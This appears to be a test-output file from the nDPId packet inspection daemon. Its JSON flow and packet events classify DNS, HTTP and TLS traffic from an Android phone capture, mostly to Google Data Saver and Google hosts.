+00475{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":369,"source":"android.pcap","alias":"nDPId-test","flow_id":57,"flow_packet_id":1,"flow_first_seen":1582454871772,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.16","dst_ip":"173.194.79.114","src_port":36850,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":57,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":369,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454871,"pkt_ts_usec":772041,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"xiwDYGpkTGr2n\/YnCABFAAA8CzhAAEAGb5fAqAIQrcJPco\/yAFDC1DxKAAAAAKAC\/\/\/BPgAAAgQFtAQCCAr\/\/zdyAAAAAAEDAwg="} +00520{"flow_id":41,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":370,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454871,"pkt_ts_usec":772060,"pkt_caplen":130,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":130,"pkt_l4_len":96,"pkt":"xiwDYGpkTGr2n\/YnCABFAAB0\/A1AAEAGfFbAqAIQ2O8meIDcAbs4lMzLVf5IAYAYAXhG4QAAAQEICv\/\/N3Im518wFAMDAAEBFwMDADXarbwkrqrPnfEARK1iXmIzlBg2eUTpj8CcDfqBTPbv0wL0B0zlGN1po0ii3NbiPPQC1NSc9A=="} +00441{"flow_id":55,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":371,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454871,"pkt_ts_usec":781183,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"TGr2n\/YnxiwDYGpkCABFAAA8S\/EAAHUGde+s2RRKwKgCEAG7zSLiUVJTDpwh4qAS6yCWYgAAAgQFZAQCCAoTCsRq\/\/83agEDAwg="} +00442{"flow_id":56,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":372,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454871,"pkt_ts_usec":784790,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"TGr2n\/YnxiwDYGpkCABFAAA8QWIAAGcGUm2twk9ywKgCEABQj\/AL32zY1y9aNKAS87jv8AAAAgQFlgQCCArQ72G\/\/\/83awEDAwg="} +00428{"flow_id":55,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":373,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454871,"pkt_ts_usec":786432,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkTGr2n\/YnCABFAAA0FoxAAEAGoFzAqAIQrNkUSs0iAbsOnCHi4lFSVIAQAVeungAAAQEICv\/\/N3UTCsRq"} +00430{"flow_id":56,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":374,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454871,"pkt_ts_usec":787200,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkTGr2n\/YnCABFAAA0bVlAAEAGDX7AqAIQrcJPco\/wAFDXL1o0C99s2YAQAVcQ9wAAAQEICv\/\/N3bQ72G\/"} +00430{"flow_id":41,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":375,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454871,"pkt_ts_usec":789558,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"TGr2n\/YnxiwDYGpkCABFAAA0b9gAAHYGEszY7yZ4wKgCEAG7gNxV\/kgBOJTNC4AQAPDNxAAAAQEICibnYVj\/\/zdy"} +00472{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":377,"source":"android.pcap","alias":"nDPId-test","flow_id":58,"flow_packet_id":1,"flow_first_seen":1582454871804,"flow_last_seen":0,"flow_tot_l4_data_len":50,"flow_min_l4_data_len":50,"flow_max_l4_data_len":50,"flow_avg_l4_data_len":50,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.16","dst_ip":"192.168.2.1","src_port":18379,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00450{"flow_id":58,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":377,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454871,"pkt_ts_usec":804912,"pkt_caplen":84,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":84,"pkt_l4_len":50,"pkt":"xiwDYGpkTGr2n\/YnCABFAABGrB5AAEARCSfAqAIQwKgCAUfLADUAMmcLPGQBAAABAAAAAAAACWRhdGFzYXZlcgpnb29nbGVhcGlzA2NvbQAAAQAB"} +00642{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":377,"source":"android.pcap","alias":"nDPId-test","flow_id":58,"flow_packet_id":1,"flow_first_seen":1582454871804,"flow_last_seen":0,"flow_tot_l4_data_len":50,"flow_min_l4_data_len":50,"flow_max_l4_data_len":50,"flow_avg_l4_data_len":50,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.16","dst_ip":"192.168.2.1","src_port":18379,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.DataSaver","breed":"Fun","category":"Web"},"dns": {"query":"datasaver.googleapis.com","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00476{"flow_id":58,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":378,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454871,"pkt_ts_usec":805281,"pkt_caplen":100,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":100,"pkt_l4_len":66,"pkt":"TGr2n\/YnxiwDYGpkCABFAABWsEQAAEARRPHAqAIBwKgCEAA1R8sAQmKIPGSBgAABAAEAAAAACWRhdGFzYXZlcgpnb29nbGVhcGlzA2NvbQAAAQABwAwAAQABAAABKwAErNkVyg=="} +00670{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":378,"source":"android.pcap","alias":"nDPId-test","flow_id":58,"flow_packet_id":2,"flow_first_seen":1582454871804,"flow_last_seen":1582454871805,"flow_tot_l4_data_len":116,"flow_min_l4_data_len":50,"flow_max_l4_data_len":66,"flow_avg_l4_data_len":58,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.16","dst_ip":"192.168.2.1","src_port":18379,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.DataSaver","breed":"Fun","category":"Web"},"dns": {"query":"datasaver.googleapis.com","num_queries":1,"num_answers":1,"reply_code":0,"query_type":1,"rsp_type":1,"rsp_addr":"172.217.21.202"}} +00441{"flow_id":57,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":379,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454871,"pkt_ts_usec":807544,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"TGr2n\/YnxiwDYGpkCABFAAA8DHkAAGcGh1atwk9ywKgCEABQj\/Jn2o0VwtQ8S6AS87jgEAAAAgQFlgQCCArQTChF\/\/83cgEDAwg="} +00429{"flow_id":57,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":380,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454871,"pkt_ts_usec":808693,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkTGr2n\/YnCABFAAA0CzlAAEAGb57AqAIQrcJPco\/yAFDC1DxLZ9qNFoAQAVcBGQAAAQEICv\/\/N3vQTChF"} +00476{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":381,"source":"android.pcap","alias":"nDPId-test","flow_id":59,"flow_packet_id":1,"flow_first_seen":1582454871814,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.16","dst_ip":"172.217.21.202","src_port":51944,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00443{"flow_id":59,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":381,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454871,"pkt_ts_usec":814833,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"xiwDYGpkTGr2n\/YnCABFAAA8CFFAAEAGrQ\/AqAIQrNkVysroAbtCYT8sAAAAAKAC\/\/889QAAAgQFtAQCCAr\/\/zd9AAAAAAEDAwg="} +00829{"flow_id":56,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":382,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454871,"pkt_ts_usec":818736,"pkt_caplen":363,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":363,"pkt_l4_len":329,"pkt":"xiwDYGpkTGr2n\/YnCABFAAFdbVpAAEAGDFTAqAIQrcJPco\/wAFDXL1o0C99s2YAYAVd53gAAAQEICv\/\/N37Q72G\/R0VUIC9jb25uZWN0IEhUVFAvMS4xDQpIb3N0OiBjaGVjay5nb29nbGV6aXAubmV0DQpDb25uZWN0aW9uOiBrZWVwLWFsaXZlDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMCAoTGludXg7IEFuZHJvaWQgOTsgTm9raWEgMi4yKSBBcHBsZVdlYktpdC81MzcuMzYgKEtIVE1MLCBsaWtlIEdlY2tvKSBDaHJvbWUvNzkuMC4zOTQ1LjkzIE1vYmlsZSBTYWZhcmkvNTM3LjM2DQpBY2NlcHQtRW5jb2Rpbmc6IGd6aXAsIGRlZmxhdGUNCkFjY2VwdC1MYW5ndWFnZTogaXQtSVQsaXQ7cT0wLjksZW4tVVM7cT0wLjgsZW47cT0wLjcNCg0K"} +00769{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":382,"source":"android.pcap","alias":"nDPId-test","flow_id":56,"flow_packet_id":4,"flow_first_seen":1582454871745,"flow_last_seen":1582454871818,"flow_tot_l4_data_len":441,"flow_min_l4_data_len":32,"flow_max_l4_data_len":329,"flow_avg_l4_data_len":110,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.16","dst_ip":"173.194.79.114","src_port":36848,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP.DataSaver","breed":"Fun","category":"Web"},"http": {"hostname":"check.googlezip.net","url":"check.googlezip.net\/connect","code":0,"content_type":"","user_agent":"Mozilla\/5.0 (Linux; Android 9; Nokia 2.2) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/79.0.3945.93 Mobile Safari\/537.36"}} +00472{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":383,"source":"android.pcap","alias":"nDPId-test","flow_id":60,"flow_packet_id":1,"flow_first_seen":1582454871823,"flow_last_seen":0,"flow_tot_l4_data_len":45,"flow_min_l4_data_len":45,"flow_max_l4_data_len":45,"flow_avg_l4_data_len":45,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.16","dst_ip":"192.168.2.1","src_port":10677,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00446{"flow_id":60,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":383,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454871,"pkt_ts_usec":823866,"pkt_caplen":79,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":79,"pkt_l4_len":45,"pkt":"xiwDYGpkTGr2n\/YnCABFAABBrCJAAEARCSjAqAIQwKgCASm1ADUALW7k1fkBAAABAAAAAAAABXByb3h5CWdvb2dsZXppcANuZXQAAAEAAQ=="} +00637{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":383,"source":"android.pcap","alias":"nDPId-test","flow_id":60,"flow_packet_id":1,"flow_first_seen":1582454871823,"flow_last_seen":0,"flow_tot_l4_data_len":45,"flow_min_l4_data_len":45,"flow_max_l4_data_len":45,"flow_avg_l4_data_len":45,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.16","dst_ip":"192.168.2.1","src_port":10677,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.DataSaver","breed":"Fun","category":"Web"},"dns": {"query":"proxy.googlezip.net","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00466{"flow_id":60,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":384,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454871,"pkt_ts_usec":824351,"pkt_caplen":95,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":95,"pkt_l4_len":61,"pkt":"TGr2n\/YnxiwDYGpkCABFAABRS4IAAEARqbjAqAIBwKgCEAA1KbUAPSLB1fmBgAABAAEAAAAABXByb3h5CWdvb2dsZXppcANuZXQAAAEAAcAMAAEAAQAAAJMABKzZFEw="} +00664{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":384,"source":"android.pcap","alias":"nDPId-test","flow_id":60,"flow_packet_id":2,"flow_first_seen":1582454871823,"flow_last_seen":1582454871824,"flow_tot_l4_data_len":106,"flow_min_l4_data_len":45,"flow_max_l4_data_len":61,"flow_avg_l4_data_len":53,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.16","dst_ip":"192.168.2.1","src_port":10677,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.DataSaver","breed":"Fun","category":"Web"},"dns": {"query":"proxy.googlezip.net","num_queries":1,"num_answers":1,"reply_code":0,"query_type":1,"rsp_type":1,"rsp_addr":"172.217.20.76"}} +00472{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":385,"source":"android.pcap","alias":"nDPId-test","flow_id":61,"flow_packet_id":1,"flow_first_seen":1582454871827,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.16","dst_ip":"192.168.2.1","src_port":32832,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00438{"flow_id":61,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":385,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454871,"pkt_ts_usec":827498,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"xiwDYGpkTGr2n\/YnCABFAAA8rCNAAEARCSzAqAIQwKgCAYBAADUAKPh7cqMBAAABAAAAAAAAA3d3dwZnb29nbGUDY29tAAABAAE="} +00633{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":385,"source":"android.pcap","alias":"nDPId-test","flow_id":61,"flow_packet_id":1,"flow_first_seen":1582454871827,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.16","dst_ip":"192.168.2.1","src_port":32832,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Google","breed":"Unrated","category":"Web"},"dns": {"query":"www.google.com","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00458{"flow_id":61,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":386,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454871,"pkt_ts_usec":827807,"pkt_caplen":90,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":90,"pkt_l4_len":56,"pkt":"TGr2n\/YnxiwDYGpkCABFAABMd48AAEARfbDAqAIBwKgCEAA1gEAAOLeFcqOBgAABAAEAAAAAA3d3dwZnb29nbGUDY29tAAABAAHADAABAAEAAADaAATY7yZ4"} +00660{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":386,"source":"android.pcap","alias":"nDPId-test","flow_id":61,"flow_packet_id":2,"flow_first_seen":1582454871827,"flow_last_seen":1582454871827,"flow_tot_l4_data_len":96,"flow_min_l4_data_len":40,"flow_max_l4_data_len":56,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.16","dst_ip":"192.168.2.1","src_port":32832,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Google","breed":"Unrated","category":"Web"},"dns": {"query":"www.google.com","num_queries":1,"num_answers":1,"reply_code":0,"query_type":1,"rsp_type":1,"rsp_addr":"216.239.38.120"}} +00475{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":387,"source":"android.pcap","alias":"nDPId-test","flow_id":62,"flow_packet_id":1,"flow_first_seen":1582454871829,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.16","dst_ip":"172.217.20.76","src_port":43646,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00442{"flow_id":62,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":387,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454871,"pkt_ts_usec":829800,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"xiwDYGpkTGr2n\/YnCABFAAA8SmpAAEAGbHTAqAIQrNkUTKp+Abul3n3qAAAAAKAC\/\/+8ngAAAgQFtAQCCAr\/\/zeAAAAAAAEDAwg="} +01124{"flow_id":46,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":388,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454871,"pkt_ts_usec":838757,"pkt_caplen":578,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":578,"pkt_l4_len":544,"pkt":"xiwDYGpkTGr2n\/YnCABFAAI02sBAAEAGm+PAqAIQ2O8meIDkAbvMau2AlTRZZ4AYAXirWwAAAQEICv\/\/N4PIBAqzFwMDAfsAAAAAAAAAAdYTA0yeiWvkRh3+WNBssZ+IsSXViUAAwITVDhsUv\/n+bkFtYk8kq3jBXrdCWRo1NsrcIswaGUUcm2k651tAlUVTMrSj6J3VNjuA2CNRBnhgUf0KKIsb70HD1RAGgpw6TdC0a9+9q2tX1epyRn8nAMxQ70HkBxlzeu1rg0ZiZ7ww9ZWQGuiNZvxPWBsIwnjMlarQ6IEunNKMe3a96xKcj+yoDcYORd4gE8NInPAaiHZaxvA9+9Htj0r1x2dU0+kh5Ly3X19LMQjkKnHxxXl5gt0l28WE9NaawiEWTm5EXe8QpO76SlfxWEp16E2E\/Bu0qcUlfv9bR\/yBJ7Ey4hlNhT+eAJV9rSsBdAx5TBwIUJkur+jF8XgA2EpTbK0Pi095MWrhOLgubUOqyDcEbhNdlLPfZGtcJ5DWCQHeMSFPOiLURf9cu0w2PhghROWhEVEBDie94urxNKfomCu435niTydxsriHK5xS+kt5He+25HKxROVFqUTDH4ybVgxpm+YaCMDer0820UofA6rV6FJ\/Tn9vK+Xi4C6J6MLctmSCsP1cM\/VgZlPEm\/Pv9aKZ4YnZaMsiHP8tzbAw9k\/o8r\/HUR0AohQoSzHw2firUp4zv74ED7RR6MFu8Pntsi73R+DoijausZ1d33jjwd53vwU37z8ma9o="} +00476{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":389,"source":"android.pcap","alias":"nDPId-test","flow_id":63,"flow_packet_id":1,"flow_first_seen":1582454871839,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.16","dst_ip":"216.239.38.120","src_port":33014,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00442{"flow_id":63,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":389,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454871,"pkt_ts_usec":839297,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"xiwDYGpkTGr2n\/YnCABFAAA8witAAEAGtnDAqAIQ2O8meID2AbsYfvWoAAAAAKAC\/\/+9gwAAAgQFtAQCCAr\/\/zeDAAAAAAEDAwg="} +00441{"flow_id":59,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":392,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454871,"pkt_ts_usec":848736,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"TGr2n\/YnxiwDYGpkCABFAAA8oe8AAHYGHXGs2RXKwKgCEAG7yuig7Cw9QmE\/LaAS6yAtmgAAAgQFZAQCCArvemfU\/\/83fQEDAwg="} +00428{"flow_id":59,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":393,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454871,"pkt_ts_usec":853064,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkTGr2n\/YnCABFAAA0CFJAAEAGrRbAqAIQrNkVysroAbtCYT8toOwsPoAQAVdF2AAAAQEICv\/\/N4bvemfU"} +00440{"flow_id":63,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":394,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454871,"pkt_ts_usec":853794,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"TGr2n\/YnxiwDYGpkCABFAAA8AF8AAHUGgz3Y7yZ4wKgCEAG7gPZMYENyGH71qaAS6yCi0QAAAgQFZAQCCArDx9w1\/\/83gwEDAwg="} +00428{"flow_id":63,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":395,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454871,"pkt_ts_usec":855081,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkTGr2n\/YnCABFAAA0wixAAEAGtnfAqAIQ2O8meID2AbsYfvWpTGBDc4AQAVe7FAAAAQEICv\/\/N4fDx9w1"} +00430{"flow_id":46,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":396,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454871,"pkt_ts_usec":855790,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"TGr2n\/YnxiwDYGpkCABFAAA0264AAHUGp\/XY7yZ4wKgCEAG7gOSVNFlnzGrvgIAQAPR7agAAAQEICsgEC5D\/\/zeD"} +00429{"flow_id":56,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":397,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454871,"pkt_ts_usec":857168,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"TGr2n\/YnxiwDYGpkCABFAAA0QZUAAGcGUkKtwk9ywKgCEABQj\/AL32zZ1y9bXYAQAPgP3AAAAQEICtDvYgj\/\/zd+"} +00480{"flow_id":46,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":398,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454871,"pkt_ts_usec":857966,"pkt_caplen":100,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":100,"pkt_l4_len":66,"pkt":"xiwDYGpkTGr2n\/YnCABFAABW2sFAAEAGncDAqAIQ2O8meIDkAbvMau+AlTRZZ4AYAXiAvQAAAQEICv\/\/N4fIBAuQFwMDAB0AAAAAAAAAAsDcrFdPBLCWt+vq6GI2nmRFM\/1NpQ=="} +01045{"flow_id":56,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":399,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454871,"pkt_ts_usec":858341,"pkt_caplen":524,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":524,"pkt_l4_len":490,"pkt":"TGr2n\/YnxiwDYGpkCABFAAH+QZcAAGcGUHatwk9ywKgCEABQj\/AL32zZ1y9bXYAYAPh\/IwAAAQEICtDvYgr\/\/zd+SFRUUC8xLjEgMjAwIE9LDQpBY2NlcHQtUmFuZ2VzOiBieXRlcw0KQ29udGVudC1UeXBlOiB0ZXh0L2h0bWwNCkFjY2Vzcy1Db250cm9sLUFsbG93LU9yaWdpbjogKg0KQWNjZXNzLUNvbnRyb2wtRXhwb3NlLUhlYWRlcnM6IFZpYSwgWC1PcmlnaW5hbC1Db250ZW50LUxlbmd0aCwgQ2hyb21lLVByb3h5DQpDb250ZW50LUxlbmd0aDogMw0KRGF0ZTogU3VuLCAyMyBGZWIgMjAyMCAxMDo0Nzo1MSBHTVQNClByYWdtYTogbm8tY2FjaGUNCkV4cGlyZXM6IEZyaSwgMDEgSmFuIDE5OTAgMDA6MDA6MDAgR01UDQpDYWNoZS1Db250cm9sOiBuby1jYWNoZSwgbm8tc3RvcmUsIG11c3QtcmV2YWxpZGF0ZQ0KTGFzdC1Nb2RpZmllZDogVGh1LCAyMSBBcHIgMjAxNiAwMzoxNzoyMiBHTVQNClgtQ29udGVudC1UeXBlLU9wdGlvbnM6IG5vc25pZmYNClNlcnZlcjogc2ZmZQ0KWC1YU1MtUHJvdGVjdGlvbjogMA0KDQpPSwo="} +00429{"flow_id":56,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":400,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454871,"pkt_ts_usec":859316,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkTGr2n\/YnCABFAAA0bVtAAEAGDXzAqAIQrcJPco\/wAFDXL1tdC99uo4AQAVsNowAAAQEICv\/\/N4jQ72IK"} 